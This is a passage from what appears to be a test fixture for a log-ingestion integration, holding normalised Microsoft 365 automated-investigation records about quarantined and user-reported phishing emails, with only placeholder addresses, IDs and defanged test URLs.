delivered and later removed -V1.0.0.2\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\"],\\\"Threats\\\":[\\\"ZapPhish\\\",\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"sender@example.com\\\",\\\"P1Sender\\\":\\\"bounce@example.com\\\",\\\"P1SenderDomain\\\":\\\"example.com\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"sender@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Inbound\\\",\\\"DeliveryAction\\\":\\\"DeliveredAsSpam\\\",\\\"ThreatDetectionMethods\\\":[\\\"MLModel\\\"],\\\"Language\\\":\\\"en\\\",\\\"DeliveryLocation\\\":\\\"Quarantine\\\",\\\"OriginalDeliveryLocation\\\":\\\"JunkFolder\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\"],\\\"Connector\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\\\",\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"SPF\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"Comp Auth\\\",\\\"Value\\\":\\\"pass\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"Address\\\":\\\"81.2.69.144\\\",\\\"Type\\\":\\\"ip\\\",\\\"Urn\\\":\\\"urn:IPEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"5\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,P2SenderDomain\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;P2SenderDomain;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;example.com;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"6\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,SenderIp\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;SenderIp;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;81.2.69.144;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"7\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"1\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,SenderIp,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;SenderIp;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;81.2.69.144;1;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"8\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"1\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,P2SenderDomain,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;P2SenderDomain;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;example.com;1;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Threat_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirInvestigationData\",\"InvestigationId\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"2314\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\"}", + "outcome": "success", + "provider": "AirInvestigation", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "Actions": [ + { + "$id": "1", + "ActionApproval": "None", + "ActionId": "urn:EmailZapper:abcdef1234567890abcdef1234567890", + "ActionStatus": "Skipped", + "ActionType": "EmailRemediation", + "BulkName": "Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "Description": "For malicious emails,you can move to junk,soft or hard delete from user's mailbox.", + "Entities": [ + { + "$id": "2", + "AdditionalActionsAndResults": [ + "OriginalDelivery: [N/A]" + ], + "AuthDetails": [ + { + "Name": "SPF", + "Value": "Pass" + }, + { + "Name": "DKIM", + "Value": "Pass" + }, + { + "Name": "DMARC", + "Value": "Pass" + }, + { + "Name": "Comp Auth", + "Value": "pass" + } + ], + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "DeliveryAction": "DeliveredAsSpam", + "DeliveryLocation": "Quarantine", + "FirstSeen": "2023-12-31T23:59:59", + "InternetMessageId": "", + "Language": "en", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "OriginalDeliveryLocation": "JunkFolder", + "P1Sender": "bounce@example.com", + "P1SenderDomain": "example.com", + "P2Sender": "sender@example.com", + "P2SenderDisplayName": "name", + "P2SenderDomain": "example.com", + "ReceivedDate": "2023-12-31T23:59:59", + "Recipient": "user@example.com", + "Sender": "sender@example.com", + "SenderIP": "81.2.69.144", + "Source": "OATP", + "Subject": "subject", + "ThreatDetectionMethods": [ + "MLModel" + ], + "Threats": [ + "ZapPhish", + "HighConfPhish" + ], + "Type": "mailMessage", + "Urls": [ + "hxxp://test.local", + "hxxp://test.local", + "hxxp://test.local" + ], + "Urn": "urn:MailEntity:abcdef1234567890abcdef1234567890" + } + ], + "InvestigationId": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "LastUpdateTimeUtc": "2023-12-31T23:59:59.0000000Z", + "LogCreationTime": "2023-12-31T23:59:59.0000000Z", + "MachineName": "ABCDEFGHIJK", + "PendingType": "User", + "RelatedAlertIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "ResourceIdentifiers": [ + { + "$id": "3", + "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Type": "AAD" + } + ], + "StartTimeUtc": "2023-12-31T23:59:59", + "TimestampUtc": "2023-12-31T23:59:59" + } + ], + "CreationTime": "2023-12-31T23:59:59", + "Data": { + "flattened": { + "AlertDisplayName": "Email messages removed after delivery​", + "AlertType": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Category": "ThreatManagement", + "ConfidenceLevel": "Unknown", + "ConfidenceScore": 1, + "CorrelationKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Description": "Malicious emails were delivered and later removed -V1.0.0.2", + "DetectionTechnology": "FingerPrintMatch", + "EndTimeUtc": "2023-12-31T23:59:59.0000000Z", + "Entities": [ + { + "$id": "3", + "AdditionalActionsAndResults": [ + "OriginalDelivery: [N/A]" + ], + "AntispamDirection": "Inbound", + "AuthDetails": [ + { + "Name": "SPF", + "Value": "Pass" + }, + { + "Name": "DKIM", + "Value": "Pass" + }, + { + "Name": "DMARC", + "Value": "Pass" + }, + { + "Name": "Comp Auth", + "Value": "pass" + } + ], + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "DeliveryAction": "DeliveredAsSpam", + "DeliveryLocation": "Quarantine", + "FirstSeen": "2023-12-31T23:59:59", + "InternetMessageId": "", + "Language": "en", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "OriginalDeliveryLocation": "JunkFolder", + "P1Sender": "bounce@example.com", + "P1SenderDomain": "example.com", + "P2Sender": "sender@example.com", + "P2SenderDisplayName": "name", + "P2SenderDomain": "example.com", + "ReceivedDate": "2023-12-31T23:59:59", + "Recipient": "user@example.com", + "Sender": "sender@example.com", + "SenderIP": "81.2.69.144", + "Source": "OATP", + "Subject": "subject", + "ThreatDetectionMethods": [ + "MLModel" + ], + "Threats": [ + "ZapPhish", + "HighConfPhish" + ], + "Type": "mailMessage", + "Urls": [ + "hxxp://test.local", + "hxxp://test.local", + "hxxp://test.local" + ], + "Urn": "urn:MailEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "4", + "Address": "81.2.69.144", + "FirstSeen": "2023-12-31T23:59:59", + "Source": "OATP", + "Type": "ip", + "Urn": "urn:IPEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "5", + "ClusterBy": "BodyFingerprintBin1;P2SenderDomain;ContentType", + "ClusterByValue": "5555555555;example.com;1", + "ClusterGroup": "BodyFingerprintBin1,P2SenderDomain", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ClusterSourceType": "Similarity", + "CountByDeliveryLocation": { + "Quarantine": 1 + }, + "CountByProtectionStatus": { + "Blocked": 1 + }, + "CountByThreatType": { + "HighConfPhish": 1, + "Malware": 0, + "Phish": 0, + "Spam": 0 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": false, + "MailCount": 1, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( (( (BodyFingerprintBin1:\"5555555555\") ) AND ( (P2SenderDomain:\"example.com\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "6", + "ClusterBy": "BodyFingerprintBin1;SenderIp;ContentType", + "ClusterByValue": "5555555555;81.2.69.144;1", + "ClusterGroup": "BodyFingerprintBin1,SenderIp", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ClusterSourceType": "Similarity", + "CountByDeliveryLocation": { + "Quarantine": 1 + }, + "CountByProtectionStatus": { + "Blocked": 1 + }, + "CountByThreatType": { + "HighConfPhish": 1, + "Malware": 0, + "Phish": 0, + "Spam": 0 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": false, + "MailCount": 1, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( (( (BodyFingerprintBin1:\"5555555555\") ) AND ( (SenderIp:\"81.2.69.144\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "7", + "ClusterBy": "Subject;SenderIp;AntispamDirection;ContentType", + "ClusterByValue": "subject;81.2.69.144;1;1", + "ClusterGroup": "Subject,SenderIp,AntispamDirection", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ClusterSourceType": "Similarity", + "CountByDeliveryLocation": { + "Quarantine": 1 + }, + "CountByProtectionStatus": { + "Blocked": 1 + }, + "CountByThreatType": { + "HighConfPhish": 1, + "Malware": 0, + "Phish": 0, + "Spam": 0 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": false, + "MailCount": 1, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( (( (Subject:\"subject\") ) AND ( (SenderIp:\"81.2.69.144\") ) AND ( (AntispamDirection:\"1\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "8", + "ClusterBy": "Subject;P2SenderDomain;AntispamDirection;ContentType", + "ClusterByValue": "subject;example.com;1;1", + "ClusterGroup": "Subject,P2SenderDomain,AntispamDirection", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ClusterSourceType": "Similarity", + "CountByDeliveryLocation": { + "Quarantine": 1 + }, + "CountByProtectionStatus": { + "Blocked": 1 + }, + "CountByThreatType": { + "HighConfPhish": 1, + "Malware": 0, + "Phish": 0, + "Spam": 0 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": false, + "MailCount": 1, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( (( (Subject:\"subject\") ) AND ( (P2SenderDomain:\"example.com\") ) AND ( (AntispamDirection:\"1\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + } + ], + "ExtendedLinks": [ + { + "Href": "https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Label": "alert", + "Type": "webLink" + } + ], + "Intent": "Probing", + "InvestigationIds": [ + "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890" + ], + "Investigations": [ + { + "$id": "1", + "Id": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "InvestigationStatus": "FullyRemediated" + } + ], + "IsIncident": false, + "LogCreationTime": "2023-12-31T23:59:59.0000000Z", + "MachineName": "ABCDEFGHIJK", + "ProcessingEndTime": "2023-12-31T23:59:59.0000000Z", + "ProviderAlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ProviderName": "OATP", + "ResourceIdentifiers": [ + { + "$id": "2", + "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Type": "AAD" + } + ], + "Severity": "Informational", + "SourceAlertType": "System", + "SourceTemplateType": "Threat_Single", + "StartTimeUtc": "2023-12-31T23:59:59.0000000Z", + "Status": "Resolved", + "TimeGenerated": "2023-12-31T23:59:59.0000000Z", + "VendorName": "Microsoft", + "Version": "3.0" + } + }, + "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "EndTimeUtc": "2023-12-31T23:59:59.000Z", + "InvestigationId": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "InvestigationName": "Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "InvestigationType": "ZappedEmailInvestigation", + "LastUpdateTimeUtc": "2023-12-31T23:59:59.000Z", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "OriginalDeliveryLocation": [ + "JunkFolder" + ], + "RecordType": "64", + "RunningTime": "2314", + "StartTimeUtc": "2023-12-31T23:59:59.000Z", + "Status": "Remediated", + "ThreatDetectionMethods": [ + "MLModel" + ], + "UserId": "AirInvestigation", + "UserKey": "AirInvestigation", + "UserType": "4", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "email": [ + "user@example.com" + ], + "id": "AirInvestigation" + } + }, + { + "@timestamp": "2023-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "from": { + "address": [ + "bounce@example.com" + ] + }, + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "<>" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "AirInvestigationData", + "category": [ + "web" + ], + "code": "AirInvestigation", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"Status\":\"Running\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InvestigationType\":\"SubmissionInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.00Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"InProgress\\\",\\\"Severity\\\":\\\"Low\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[{\\\"$id\\\":\\\"1\\\",\\\"Id\\\":\\\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\\\",\\\"InvestigationStatus\\\":\\\"Running\\\"}],\\\"InvestigationIds\\\":[\\\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\\\"],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"2\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email reported by user as malware or phish\\\",\\\"Description\\\":\\\"This alert is triggered when any email message is reported as malware or phish by users -V1.0.0.3\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/viewalerts?id=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\"],\\\"Threats\\\":[\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"bounce@example.com\\\",\\\"P1Sender\\\":\\\"<>\\\",\\\"P1SenderDomain\\\":\\\"\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"bounce@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Inbound\\\",\\\"DeliveryAction\\\":\\\"Delivered\\\",\\\"ThreatDetectionMethods\\\":[\\\"MLModel\\\"],\\\"Language\\\":\\\"nb\\\",\\\"DeliveryLocation\\\":\\\"Inbox\\\",\\\"OriginalDeliveryLocation\\\":\\\"Inbox\\\",\\\"PhishConfidenceLevel\\\":\\\"High\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\"],\\\"Connector\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\\\",\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"SPF\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"None\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"Fail\\\"},{\\\"Name\\\":\\\"Comp 